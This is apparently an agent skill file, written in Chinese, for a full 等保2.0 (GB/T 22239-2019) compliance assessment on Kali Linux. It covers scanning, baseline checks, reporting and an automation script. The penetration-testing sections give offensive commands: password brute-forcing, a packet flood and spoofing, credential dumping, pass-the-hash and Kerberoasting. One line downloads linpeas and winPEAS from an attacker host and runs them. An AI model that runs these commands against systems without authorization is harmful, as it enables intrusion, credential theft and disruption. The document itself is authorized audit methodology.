| name | djbh-assessment |
| description | Invoke for 等保2.0 full-lifecycle assessment on corporate networks on Kali Linux: classification, gap analysis, baseline audit, vuln scanning, penetration testing, and compliance reporting per GB/T 22239-2019. |
网络安全等级保护测评技能(等保2.0)
本技能在Kali Linux环境中执行等保2.0(GB/T 22239-2019)全流程测评,覆盖安全通用要求与云计算/工控/物联网/大数据/移动互联扩展要求。
等保级别速查
| 等级 | 名称 | 典型对象 | 测评周期 |
|---|
| 第一级 | 自主保护级 | 小型企业内网 | 不定级 |
| 第二级 | 指导保护级 | 一般企业门户/邮件 | 每两年一次 |
| 第三级 | 监督保护级 | 政务/金融/运营商 | 每年一次 |
| 第四级 | 强制保护级 | 国家重要信息系统 | 每半年一次 |
| 第五级 | 专控保护级 | 国家核心机密系统 | 视情况而定 |
本技能以第二级和第三级为主,这也是企业最常见的等保测评级别。
等保2.0安全域全景图
┌──────────────────────────────────────────────────────────────┐
│ 安全管理要求 │
│ 安全管理制度 │ 安全管理机构 │ 安全管理人员 │ 建设管理 │ 运维管理 │
├──────────────────────────────────────────────────────────────┤
│ 安全技术要求 │
│ 物理环境 → 通信网络 → 区域边界 → 计算环境 → 管理中心 │
├──────────────────────────────────────────────────────────────┤
│ 等保2.0扩展要求(按需) │
│ 云计算安全 │ 移动互联安全 │ 物联网安全 │ 工控安全 │ 大数据安全 │
└──────────────────────────────────────────────────────────────┘
一、测评全流程(六阶段)
系统定级 → 备案 → 差距分析 → 现场测评(访谈/核查/测试) → 整改加固 → 复测 → 报告
阶段0:系统定级与备案
等保测评的第一步,必须与客户确认目标系统已按《信息安全等级保护管理办法》完成定级和备案。
0.1 定级检查要点
| 序号 | 检查项 | 方法 |
|---|
| 1 | 定级报告是否经专家评审 | 查阅定级报告、评审会议纪要 |
| 2 | 是否向公安机关备案 | 查验备案证明 |
| 3 | 备案等级与系统实际重要程度是否匹配 | 比对业务描述与等级要求 |
| 4 | 系统边界是否明确 | 查阅系统拓扑图与网络架构文档 |
0.2 访谈参考问题
| 角色 | 问题 |
|---|
| 系统管理员 | "请描述被测系统的业务范围、用户规模和核心数据" |
| 安全负责人 | "定级过程中做了哪些评审?备案编号是多少?" |
| 运维人员 | "系统的网络边界如何划分?与哪些外部系统互联?" |
阶段1:差距分析(现状调研)
目标:通过问卷调查、文档审查和初步扫描,了解系统现状与等保目标级别之间的差距。
1.1 文档审查清单
| 文档类型 | 内容 |
|---|
| 安全管理体系 | 安全管理制度、安全策略文件、岗位职责说明 |
| 建设过程文档 | 安全方案设计、产品采购合同、验收报告 |
| 运维过程记录 | 巡检记录、变更审批、应急预案 |
| 人员管理记录 | 保密协议、培训记录、离职交接单 |
| 技术配置文档 | 网络拓扑图、IP分配表、系统配置清单 |
1.2 资产全发现
nmap -sn -PE -PP -PM <目标网段>/24 -oA phase1_live_hosts
masscan -p1-65535 --rate=2000 -oJ masscan_all.json $(cat phase1_live_hosts.gnmap | awk '/Up$/{print $2}' | tr '\n' ' ')
nmap -sS -sV -sC -O --script banner -p $(jq -r '[.[].ports[].port]|unique|join(",")' masscan_all.json) \
-iL hosts.list -oA phase1_service_detect
fierce --domain <目标域名>
dnsrecon -d <目标域名> -t axfr
dnsenum <目标域名>
1.3 Web资产深度发现
gobuster dns -d <目标域名> -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50
gobuster dir -u <目标URL> -w /usr/share/wordlists/dirb/common.txt -x php,asp,aspx,jsp,do,action -t 50
ffuf -u <目标URL>/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/api/objects.txt
waybackurls <目标域名> | grep -E '\.js$' | httpx -o js_files.txt
for url in $(cat js_files.txt); do
curl -s "$url" | grep -oP '(api_key|token|secret|password|endpoint|http[s]?://[^"'"'"']+)'
done
1.4 资产分类表
| 类别 | 包含对象 | 发现方式 |
|---|
| 网络设备 | 路由器、交换机、防火墙、负载均衡 | SNMP扫描、CDP/LLDP |
| 安全设备 | IDS/IPS、WAF、日志审计、堡垒机 | 端口特征识别 |
| 服务器 | 物理机、虚拟机、云主机 | OS指纹、端口服务 |
| 终端 | 办公PC、运维终端 | MAC地址、主机名 |
| 数据库 | MySQL/Oracle/SQLServer/MongoDB/Redis | 端口3306/1521/1433/27017/6379 |
| 中间件 | Tomcat/Nginx/IIS/Apache/WebLogic/JBoss | 端口8080/80/443/7001 |
| 应用系统 | Web应用、API服务、邮件系统 | URL扫描、业务端口 |
阶段2:现场测评(核心阶段)
遵照GB/T 28448-2019测评方法:访谈 → 核查 → 测试三维度交叉验证。
2.1 安全物理环境
权重:二级 5% / 三级 3%
| 控制点 | 访谈问题 | 核查内容 | 测试验证 |
|---|
| 物理位置选择 | 机房位于建筑哪层? | 现场查看楼层位置 | - |
| 物理访问控制 | 进出机房需要什么审批? | 门禁日志、登记表 | 尝试尾随进入 |
| 防盗窃和防破坏 | 设备是否固定? | 设备标签、线缆标识 | - |
| 温湿度控制 | 空调是否双路? | 温湿度记录、告警阈值 | 检测实际温湿度 |
| 电力供应 | UPS能支持多久? | UPS巡检记录 | 模拟市电中断 |
| 防火 | 有哪些消防设备? | 消防检测报告 | - |
| 防水防潮 | 是否有漏水检测? | 检查漏水检测装置 | - |
2.2 安全通信网络
权重:二级 15% / 三级 10%
访谈
| 问题 | 询问对象 |
|---|
| "核心网络设备的处理能力是否满足业务高峰期需求?" | 网络管理员 |
| "带宽如何规划?是否有QoS策略?" | 网络管理员 |
| "通信线路是否有冗余?主备切换时间是多少?" | 网络管理员 |
| "系统各网段如何划分?VLAN间隔离策略是什么?" | 网络管理员 |
| "是否启用了网络加密通信?" | 安全管理员 |
核查
snmpwalk -v2c -c <community> <目标IP> 1.3.6.1.2.1.2.2.1.10
snmpwalk -v2c -c <community> <目标IP> 1.3.6.1.2.1.2.2.1.16
snmpwalk -v2c -c <community> <目标IP> 1.3.6.1.2.1.4.21
测试
nmap -sn <VLAN_A网段> <VLAN_B网段>
iperf3 -c <目标IP> -p 5201 -t 30
nmap --script ssl-enum-ciphers -p 443 <目标IP>
testssl.sh --csvfile tls_report.csv <目标IP>
traceroute -T <目标IP>
mtr -r -c 10 <目标IP>
2.3 安全区域边界
权重:二级 20% / 三级 15%
访谈
| 问题 | 询问对象 |
|---|
| "边界防火墙有哪些访问控制策略?是否默认拒绝?" | 网络管理员 |
| "是否有入侵检测/防御系统(IDS/IPS)?" | 安全管理员 |
| "是否有恶意代码防范机制?更新频率?" | 安全管理员 |
核查
nmap --script firewall-bypass -p 22,80,443,3389,8080 <目标IP>
nmap -p 21,23,135,139,445,3389,6379,27017 --open <目标网段> -oA open_danger_ports
hping3 -S -p 80 -c 3 <目标IP>
hping3 -A -p 80 -c 3 <目标IP>
hping3 -F -p 80 -c 3 <目标IP>
测试
hping3 -S --spoof <伪造内网IP> -p 8080 <目标IP>
nmap -sS -T5 --max-retries 0 -p- <边界防火墙IP>
hping3 --flood -p 80 <目标IP>
2.4 安全计算环境(核心)
权重:二级 25% / 三级 20%
这是等保测评中内容最多、权重最高的安全域,涵盖身份鉴别、访问控制、安全审计、入侵防范、恶意代码防范、数据完整性、数据保密性、数据备份恢复、剩余信息保护、个人信息保护十大控制点。
2.4.1 身份鉴别
访谈
| 问题 | 对象 |
|---|
| "操作系统是否有账号口令策略?" | 系统管理员 |
| "是否使用了双因素认证?" | 安全管理员 |
| "应用系统是否有验证码、登录失败锁定等机制?" | 应用管理员 |
核查 — Linux系统
cat /etc/login.defs | grep -E '^PASS_MAX_DAYS|^PASS_MIN_DAYS|^PASS_MIN_LEN|^PASS_WARN_AGE'
cat /etc/pam.d/common-password | grep pam_pwquality
cat /etc/security/pwquality.conf
awk -F: '($2 == "" || $2 == "!" || $2 == "*") {print "空/锁账户:", $1}' /etc/shadow
grep "^PermitRootLogin" /etc/ssh/sshd_config
awk -F: '($3 == 0) {print $1}' /etc/passwd
authconfig --test | grep hashing
grep "^ENCRYPT_METHOD" /etc/login.defs
核查 — Windows系统(通过SMB远程探测)
enum4linux -U <目标IP>
enum4linux -P <目标IP>
crackmapexec smb <目标IP> --pass-pol
crackmapexec smb <目标IP> --users
核查 — 网络设备
snmpwalk -v2c -c <community> <设备IP> 1.3.6.1.4.1.9.9.392.1.3
onesixtyone -c /usr/share/wordlists/seclists/Discovery/SNMP/common-snmp-community-strings.txt <设备IP>
测试 — 口令强度
hydra -L /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt \
-P /usr/share/wordlists/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt \
ssh://<目标IP>
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://<目标IP>
hydra -L user.txt -P pass.txt <目标IP> mysql
hydra -L user.txt -P pass.txt <目标IP> mssql
hydra -L user.txt -P pass.txt <目标IP> postgres
2.4.2 访问控制
核查
find /etc -type f -perm -o+w 2>/dev/null
find / -perm -4000 -o -perm -2000 2>/dev/null
ls -la /etc/passwd /etc/shadow /etc/group
cat /etc/sudoers | grep -v '^#' | grep -v '^$'
nmap --script smb-enum-shares -p 445 <目标IP>
showmount -e <目标IP>
nmap --script nfs-showmount <目标IP>
nmap --script ftp-anon -p 21 <目标IP>
测试
smbclient -L //<目标IP> -N
smbclient //<目标IP>/share -N
mount -t nfs <目标IP>:/export /mnt/target -o nolock
rsync <目标IP>::
rsync --list-only <目标IP>::module_name
2.4.3 安全审计
访谈
| 问题 | 对象 |
|---|
| "审计日志保存多长时间?是否定期备份?" | 审计管理员 |
| "审计进程是否受保护,是否不可中断?" | 系统管理员 |
| "日志是否实时发送到集中审计平台?" | 安全管理员 |
核查
systemctl status auditd
auditctl -l
cat /etc/rsyslog.conf | grep -v '^#' | grep -v '^$'
grep -r "^\*\.\*" /etc/rsyslog.d/ 2>/dev/null
ls -la /var/log/
crackmapexec smb <目标IP> -u user -p pass --audit-policies
测试
ssh nonexist@<目标IP>
nmap --script rsyslog-info -p 514 <目标IP>
nmap -sU -p 514 <目标IP>
2.4.4 入侵防范
核查
ps aux | grep -iE 'ossec|wazuh|aide|tripwire|rkhunter|chkrootkit'
getenforce
aa-status
ss -tlnp
ss -ulnp
ss -tlnp | grep -E ':21|:23|:513|:514|:111|:2049'
测试
nmap --script vuln --script-timeout 30s <目标IP>
nmap --script smb-vuln-ms17-010 -p 445 <目标IP>
nmap --script ssl-heartbleed -p 443 <目标IP>
nmap --script rdp-vuln-ms12-020 -p 3389 <目标IP>
searchsploit apache 2.4.49
searchsploit openssh 7.4
2.4.5 中间件安全专项
nmap --script http-tomcat-brute -p 8080 <目标IP>
curl -s http://<目标IP>:8080/manager/html | head
curl -s http://<目标IP>:8080/host-manager/html | head
nmap --script http-jboss-status -p 8080,9990 <目标IP>
curl -s http://<目标IP>:8080/jmx-console/
curl -s http://<目标IP>:8080/web-console/
nmap -p 7001,7002 --script http-weblogic-t3 <目标IP>
curl -s http://<目标IP>:7001/console/
curl -s http://<目标IP>/phpmyadmin/
curl -s http://<目标IP>/phpMyAdmin/
curl -s http://<目标IP>/.git/HEAD
curl -s http://<目标IP>/.svn/entries
curl -s http://<目标IP>/.env
2.4.6 数据库安全专项
nmap --script mysql-empty-password -p 3306 <目标IP>
nmap --script mysql-enum -p 3306 <目标IP>
nmap --script ms-sql-empty-password -p 1433 <目标IP>
nmap --script ms-sql-info -p 1433 <目标IP>
nmap --script oracle-tns-version -p 1521 <目标IP>
tnscmd10g version -h <目标IP>
nmap --script mongodb-info -p 27017 <目标IP>
echo 'db.version()' | timeout 3 nc <目标IP> 27017
nmap --script redis-info -p 6379 <目标IP>
redis-cli -h <目标IP> INFO server 2>/dev/null
curl -s http://<目标IP>:9200/_cat/indices
curl -s http://<目标IP>:9200/_nodes
echo "stats" | timeout 3 nc <目标IP> 11211
2.4.7 数据安全专项
核查
nmap -p 873 --script rsync-list-modules <目标IP>
测试
nmap --script ssl-enum-ciphers -p 443 <目标IP>
curl -I -k https://<目标IP> | grep -i strict-transport-security
curl -I http://<目标IP> | grep -i set-cookie
tcpdump -i eth0 -A -s 0 port 80 and host <目标IP>
2.5 安全管理中心
等保2.0新增安全域,三级必备 | 权重:二级 N/A / 三级 10%
访谈
| 问题 | 对象 |
|---|
| "是否有集中安全管理平台(SOC/SIEM)?" | 安全管理员 |
| "是否对安全设备进行集中监控和告警?" | 安全管理员 |
| "是否有统一的日志分析、关联分析能力?" | 审计管理员 |
核查
nmap -p 443,8443,9443 --open <管理网段>
nmap -sU -p 514 --open <管理网段>
whatweb <SOC平台URL>
nmap -p 5601,9200 --open <管理网段>
nmap -p 8000,8089 --open <管理网段>
2.6 虚拟化安全专项(等保2.0新增)
nmap -p 443,902,903 --script http-vmware-path-vuln <虚拟化平台IP>
curl -s http://<目标IP>:2375/containers/json
curl -s http://<目标IP>:2376/containers/json
curl -k https://<目标IP>:6443/version
curl -k https://<目标IP>:6443/api/v1/namespaces
curl http://<目标IP>:2379/v2/keys
2.7 密码应用安全专项(商用密码合规)
nmap --script ssl-enum-ciphers -p 443 <目标IP> | grep -i 'SM2\|SM3\|SM4'
openssl s_client -connect <目标IP>:443 -servername <域名> 2>/dev/null | openssl x509 -noout -text | grep 'Signature Algorithm'
阶段3:渗透测试
注意:仅在客户提供书面授权且确认不影响业务的前提下执行。
3.1 Web应用渗透
nikto -h <目标URL> -output nikto_report.html -Format html
nuclei -u <目标URL> -t cves/ -t vulnerabilities/ -t exposures/ -t misconfiguration/ -o nuclei_report.txt
sqlmap -u "<目标URL>?id=1" --batch --dbs --random-agent --level=3 --risk=2
xsser --url="<目标URL>" --auto
dalfox url <目标URL>
3.2 系统渗透
msfconsole -q -x "use auxiliary/scanner/smb/smb_version; set RHOSTS <目标IP>; run; exit"
searchsploit --nmap scan_report.xml
wget http://<攻击机IP>/linpeas.sh -O /tmp/lp.sh && bash /tmp/lp.sh
wget http://<攻击机IP>/winPEAS.exe -O C:\Users\Public\wp.exe && C:\Users\Public\wp.exe
3.3 内网横向渗透
for i in $(ip route | grep -oP '(\d+\.){2}\d+\.\d+/\d+'); do fping -a -g $i 2>/dev/null; done
mimikatz
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py domain/user:pass@<DC_IP>
crackmapexec smb <内网段> -u user -H NTLM_HASH --shares
python3 /usr/share/doc/python3-impacket/examples/psexec.py -hashes :NTLM_HASH domain/user@<目标IP>
python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -hashes :NTLM_HASH domain/user@<目标IP>
python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py domain/user:pass -request -outputfile kerb.txt
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt
阶段4:整改加固建议
根据差距分析和现场测评结果,将不符合项按严重程度分为三级,提出可操作的整改建议。
| 问题分级 | 定义 | 整改时限 |
|---|
| 高危 | 可直接导致系统被攻击、数据泄露 | 立即整改 |
| 中危 | 存在安全隐患,可能被利用 | 30天内 |
| 低危 | 安全配置建议,优化项 | 90天内 |
常见整改项速查
| 不合规项 | 等保要求 | 整改方案 |
|---|
| 密码策略弱 | 密码长度≥8位,含大小写数字特殊字符三种以上 | 修改/etc/login.defs + pwquality.conf |
| 未限制登录失败 | 连续失败5次锁定≥10分钟 | 配置pam_tally2 或 fail2ban |
| root远程登录 | 禁止root直接远程登录 | PermitRootLogin no |
| 默认SNMP团体字 | 不使用public/private | 修改SNMP v3或复杂团体字 |
| 高危端口开放 | 关闭telnet/ftp/rlogin等不安全服务 | systemctl disable --now telnet.socket |
| 日志未集中管理 | 审计日志需集中存储 | 配置rsyslog转发到日志服务器 |
| 未配置HTTPS | 敏感数据传输需加密 | 部署SSL证书,强制HTTPS |
| 存在已知CVE | 及时打补丁 | 升级软件版本或配置虚拟补丁(WAF) |
阶段5:复测验证
| 步骤 | 操作 |
|---|
| 1 | 逐一核实高危和中危不符合项是否已整改 |
| 2 | 对整改项执行原测试命令做回归验证 |
| 3 | 截图/录屏保存整改证据 |
| 4 | 更新测评记录表中的"整改后复测"列 |
| 5 | 确认所有不符合项已关闭或降级为残余风险 |
| 6 | 输出复测报告,作为最终测评报告的附件 |
阶段6:报告生成
6.1 必须生成的测评文档
| 文档 | 依据 |
|---|
| 测评方案 | 包含测评指标、测评对象、测评方法 |
| 现场测评记录 | 每项指标的访谈/核查/测试原始记录 |
| 测评报告(主报告) | 结论、分数、不符合项清单、整改建议 |
| 整改建议书 | 可落地的技术整改步骤 |
| 复测报告 | 整改后的回归验证结果 |
6.2 报告核心结构
1. 测评项目概述
1.1 被测系统描述
1.2 测评等级与依据
1.3 测评范围
2. 测评过程与方法
2.1 测评流程
2.2 测评方法(访谈/核查/测试)
3. 被测系统概述
3.1 网络拓扑
3.2 资产清单
3.3 业务应用清单
4. 单元测评结果
4.1 安全物理环境
4.2 安全通信网络
4.3 安全区域边界
4.4 安全计算环境
4.5 安全管理中心
4.6 安全管理制度
4.7 安全管理机构
4.8 安全管理人员
4.9 安全建设管理
4.10 安全运维管理
5. 整体测评结果
5.1 层面间安全补偿分析
5.2 区域间安全补偿分析
6. 综合结论与评分
6.1 安全技术得分
6.2 安全管理得分
6.3 综合得分与符合性
7. 不符合项与整改建议
8. 附录
8.1 测评记录表
8.2 工具输出原始文件
8.3 截图/照片证据
6.3 工具报告汇总脚本
#!/bin/bash
PROJECT=$1
SCAN_DIR=$2
REPORT_DIR="./djbh_report_${PROJECT}_$(date +%Y%m%d_%H%M%S)"
if [ -z "$PROJECT" ] || [ -z "$SCAN_DIR" ]; then
echo "用法: $0 <项目名> <扫描结果目录>"
exit 1
fi
mkdir -p "${REPORT_DIR}"/{01_asset,02_baseline,03_vuln,04_pentest,05_evidences,06_raw}
cp "${SCAN_DIR}"/phase1_*.xml "${REPORT_DIR}/06_raw/" 2>/dev/null
cp "${SCAN_DIR}"/*.xml "${REPORT_DIR}/06_raw/" 2>/dev/null
for xml in "${REPORT_DIR}/06_raw/"*.xml; do
[ -f "$xml" ] && xsltproc "$xml" -o "${REPORT_DIR}/06_raw/$(basename "$xml" .xml).html" 2>/dev/null
done
grep -hri 'CVE-\|高危\|严重\|High\|Critical' "${SCAN_DIR}/"*.txt 2>/dev/null > "${REPORT_DIR}/03_vuln/vuln_summary.txt"
echo "报告目录: ${REPORT_DIR}"
echo "请将访谈记录、核查截图、复测结果放入对应子目录"
附录A:等保2.0评分速算
三级等保及格线
| 安全域 | 满分 | 及格线(≥70%) |
|---|
| 安全物理环境 | 100 | ≥70 |
| 安全通信网络 | 100 | ≥70 |
| 安全区域边界 | 100 | ≥70 |
| 安全计算环境 | 100 | ≥70 |
| 安全管理中心 | 100 | ≥70 |
| 安全管理制度 | 100 | ≥70 |
| 安全管理机构 | 100 | ≥70 |
| 安全管理人员 | 100 | ≥70 |
| 安全建设管理 | 100 | ≥70 |
| 安全运维管理 | 100 | ≥70 |
整体判定规则:所有安全域均≥70分,且无"一票否决"项(如核心系统弱口令、未授权访问等),判定为基本符合。
附录B:全流程自动化脚本
#!/bin/bash
set -euo pipefail
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'
log_info() { echo -e "${GREEN}[INFO]${NC} $(date '+%H:%M:%S') $*"; }
log_warn() { echo -e "${YELLOW}[WARN]${NC} $(date '+%H:%M:%S') $*"; }
log_error() { echo -e "${RED}[ERROR]${NC} $(date '+%H:%M:%S') $*"; }
usage() {
cat <<EOF
用法: ./djbh_full_scan.sh <配置文件>
配置文件格式 (djbh.conf):
TARGET_NETWORK="192.168.1.0/24"
TARGET_WEB_URL="https://www.example.com"
TARGET_WEB_IP="192.168.1.10"
ASSESSMENT_LEVEL="3" # 等保级别:2 或 3
ENABLE_PENTEST="false" # 是否执行渗透测试阶段
ENABLE_BRUTEFORCE="false" # 是否执行口令爆破
SCAN_SPEED="4" # nmap -T 速率
EXCLUDE_IPS="192.168.1.1,192.168.1.254"
MANAGER_NETWORK="10.0.0.0/24" # 管理网段(等保三级必填)
EOF
exit 1
}
CONFIG_FILE="${1:-}"
[ -z "$CONFIG_FILE" ] && usage
[ ! -f "$CONFIG_FILE" ] && { log_error "配置文件不存在: $CONFIG_FILE"; exit 1; }
source "$CONFIG_FILE"
[ -z "${TARGET_NETWORK:-}" ] && { log_error "TARGET_NETWORK 未配置"; exit 1; }
LEVEL="${ASSESSMENT_LEVEL:-2}"
TIMESTAMP=$(date +%Y%m%d_%H%M%S)
REPORT_BASE="./djbh_report_${TIMESTAMP}"
mkdir -p "${REPORT_BASE}"/{01_asset_discovery,02_baseline_check,03_vulnerability_scan,04_pentest,05_logs}
exec > >(tee -a "${REPORT_BASE}/05_logs/full_scan.log") 2>&1
log_info "========================================="
log_info "等保${LEVEL}级测评开始"
log_info "目标网络: ${TARGET_NETWORK}"
log_info "报告目录: ${REPORT_BASE}"
log_info "========================================="
log_info "阶段1: 信息收集与资产发现"
log_info " 1.1 存活主机发现..."
nmap -sn -PE -PP -PM -T"${SCAN_SPEED:-4}" "${TARGET_NETWORK}" \
-oA "${REPORT_BASE}/01_asset_discovery/01_live_hosts" \
--exclude "${EXCLUDE_IPS:-}"
grep "Nmap scan report" "${REPORT_BASE}/01_asset_discovery/01_live_hosts.nmap" | \
awk '{print $NF}' | tr -d '()' > "${REPORT_BASE}/01_asset_discovery/hosts.list"
HOST_COUNT=$(wc -l < "${REPORT_BASE}/01_asset_discovery/hosts.list")
log_info " 发现存活主机: ${HOST_COUNT} 台"
if [ "$HOST_COUNT" -eq 0 ]; then
log_warn " 未发现存活主机,检查TARGET_NETWORK配置"
exit 0
fi
log_info " 1.2 全端口扫描..."
masscan -p1-65535 --rate=2000 -iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \
-oJ "${REPORT_BASE}/01_asset_discovery/02_masscan_ports.json" 2>/dev/null || \
log_warn " masscan执行异常,跳过"
log_info " 1.3 服务版本与OS检测..."
nmap -sS -sV -sC -O -T"${SCAN_SPEED:-4}" \
-iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \
-oA "${REPORT_BASE}/01_asset_discovery/03_service_detect" \
--exclude "${EXCLUDE_IPS:-}"
log_info "阶段2: 安全配置基线检查"
log_info " 2.1 TLS/SSL配置检查..."
if [ -n "${TARGET_WEB_URL:-}" ]; then
testssl.sh --csvfile "${REPORT_BASE}/02_baseline_check/tls_report.csv" \
"${TARGET_WEB_URL}" 2>/dev/null || log_warn " testssl.sh 执行异常"
fi
log_info " 2.2 高危端口暴露检查..."
nmap -p 21,23,135,139,445,3389,6379,27017,2375,2376,6443 \
--open -iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \
-oA "${REPORT_BASE}/02_baseline_check/04_danger_ports" \
--exclude "${EXCLUDE_IPS:-}"
log_info " 2.3 SMB共享枚举..."
nmap -p 445 --script smb-enum-shares,smb-enum-users \
-iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \
-oA "${REPORT_BASE}/02_baseline_check/05_smb_enum" 2>/dev/null || true
log_info " 2.4 SNMP默认团体字..."
while read -r ip; do
onesixtyone -c /usr/share/wordlists/seclists/Discovery/SNMP/common-snmp-community-strings.txt \
"$ip" >> "${REPORT_BASE}/02_baseline_check/06_snmp_community.txt" 2>/dev/null || true
done < "${REPORT_BASE}/01_asset_discovery/hosts.list"
log_info "阶段3: 漏洞扫描"
log_info " 3.1 常见CVE检测..."
nmap --script vuln --script-timeout 60s \
-iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \
-oA "${REPORT_BASE}/03_vulnerability_scan/07_vuln_scan" \
--exclude "${EXCLUDE_IPS:-}" || log_warn " vuln 脚本部分超时"
log_info " 3.2 数据库安全检测..."
nmap -p 3306 --script mysql-empty-password,mysql-enum \
-iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \
-oA "${REPORT_BASE}/03_vulnerability_scan/08_mysql" 2>/dev/null || true
nmap -p 6379 --script redis-info \
-iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \
-oA "${REPORT_BASE}/03_vulnerability_scan/09_redis" 2>/dev/null || true
nmap -p 27017 --script mongodb-info \
-iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \
-oA "${REPORT_BASE}/03_vulnerability_scan/10_mongodb" 2>/dev/null || true
if [ "${ENABLE_PENTEST:-false}" = "true" ]; then
log_warn "阶段4: 渗透测试(已启用)"
if [ -n "${TARGET_WEB_URL:-}" ]; then
log_info " 4.1 Web漏洞扫描..."
nikto -h "${TARGET_WEB_URL}" -output "${REPORT_BASE}/04_pentest/nikto_report.html" \
-Format html 2>/dev/null || log_warn " nikto 执行异常"
nuclei -u "${TARGET_WEB_URL}" -silent \
-o "${REPORT_BASE}/04_pentest/nuclei_report.txt" 2>/dev/null || \
log_warn " nuclei 执行异常"
fi
if [ "${ENABLE_BRUTEFORCE:-false}" = "true" ] && [ -n "${TARGET_WEB_URL:-}" ]; then
log_warn " 4.2 口令爆破(需确认授权)..."
hydra -L /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt \
-P /usr/share/wordlists/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt \
"${TARGET_WEB_IP:-${TARGET_WEB_URL}}" http-post-form \
"/login:user=^USER^&pass=^PASS^:F=error" 2>/dev/null || true
fi
else
log_info "阶段4: 渗透测试(已跳过,设置 ENABLE_PENTEST=true 启用)"
fi
if [ "$LEVEL" -ge 3 ] && [ -n "${MANAGER_NETWORK:-}" ]; then
log_info "阶段5: 安全管理中心检测(等保${LEVEL}级要求)"
nmap -sn "${MANAGER_NETWORK}" -oA "${REPORT_BASE}/02_baseline_check/11_manager_network" 2>/dev/null || true
fi
log_info "========================================="
log_info "扫描完成,生成汇总..."
log_info "========================================="
echo "=== 高危发现汇总 ===" > "${REPORT_BASE}/findings_summary.txt"
grep -rn 'VULNERABLE\|Critical\|High\|高危\|严重\|CVE-' \
"${REPORT_BASE}/" --include="*.txt" --include="*.nmap" 2>/dev/null \
>> "${REPORT_BASE}/findings_summary.txt" || echo " 未发现明显高危项" >> "${REPORT_BASE}/findings_summary.txt"
cat <<EOF
=========================================
等保${LEVEL}级测评自动化扫描完成
=========================================
报告目录: ${REPORT_BASE}
├── 01_asset_discovery/ # 资产发现
├── 02_baseline_check/ # 基线检查
├── 03_vulnerability_scan/ # 漏洞扫描
├── 04_pentest/ # 渗透测试
└── 05_logs/ # 执行日志
→ 汇总文件: ${REPORT_BASE}/findings_summary.txt
=========================================
下一步:
1. 执行各安全域"访谈"环节
2. 远程登录目标主机执行"核查"命令(见本技能2.4节)
3. 将访谈/核查结果填入测评记录表
4. 使用 report_collector.sh 生成最终报告
=========================================
EOF
附录C:测评记录模板(CSV)
安全域,控制点,测评指标编号,指标描述,测评方法,测评结果(符合/部分符合/不符合),问题描述,关联工具命令,截图编号
安全计算环境,身份鉴别,a),操作系统是否存在空口令账户,核查+测试,,,awk -F: ... /etc/shadow,
安全计算环境,身份鉴别,b),是否配置密码复杂度策略,核查+测试,,,cat /etc/pam.d/common-password,
安全计算环境,身份鉴别,c),是否配置登录失败锁定策略,核查+测试,,,grep pam_tally2 /etc/pam.d/,
安全计算环境,身份鉴别,d),远程管理是否加密,核查+测试,,,nmap --script ssl-enum-ciphers,
安全计算环境,访问控制,a),是否限制默认账户访问,核查,,,cat /etc/passwd | grep -E,
安全区域边界,访问控制,a),边界设备访问控制策略是否默认拒绝,访谈+核查+测试,,,nmap --script firewall-bypass,
安全通信网络,通信传输,a),通信传输是否加密,核查+测试,,,,testssl.sh,
安全管理中心,集中管控,a),是否部署集中安全管理平台,访谈+核查,,,,nmap -p 443 管理网段,
附录D:法律法规依据
| 法规/标准 | 编号 | 用途 |
|---|
| 网络安全法 | 中华人民共和国主席令 | 等保法律依据 |
| 信息安全等级保护管理办法 | 公通字[2007]43号 | 等保制度依据 |
| 等保基本要求 | GB/T 22239-2019 | 安全技术要求基线 |
| 等保测评要求 | GB/T 28448-2019 | 测评方法和判定 |
| 等保安全设计技术要求 | GB/T 25070-2019 | 新系统建设参考 |
| 等保实施指南 | GB/T 25058-2019 | 全流程实施指引 |
| 商用密码应用安全性评估 | GM/T 0054-2018 | 密码应用合规性 |
使用说明
- 环境: Kali Linux,确保工具已安装(nmap/masscan/sqlmap/hydra/testssl/nikto/nuclei等)
- 授权: 必须取得客户书面授权书,明确测评范围和允许的操作
- 流程: 严格按六阶段执行——定级确认→差距分析→现场测评→整改建议→复测→报告
- 等级区分: 二级侧重网络+计算环境+区域边界;三级在此基础上增加安全管理中心
- 三种方法: 每项指标必须通过"访谈+核查+测试"三维交叉验证
- 记录留痕: 所有测试操作截图、命令输出均需存档作为测评证据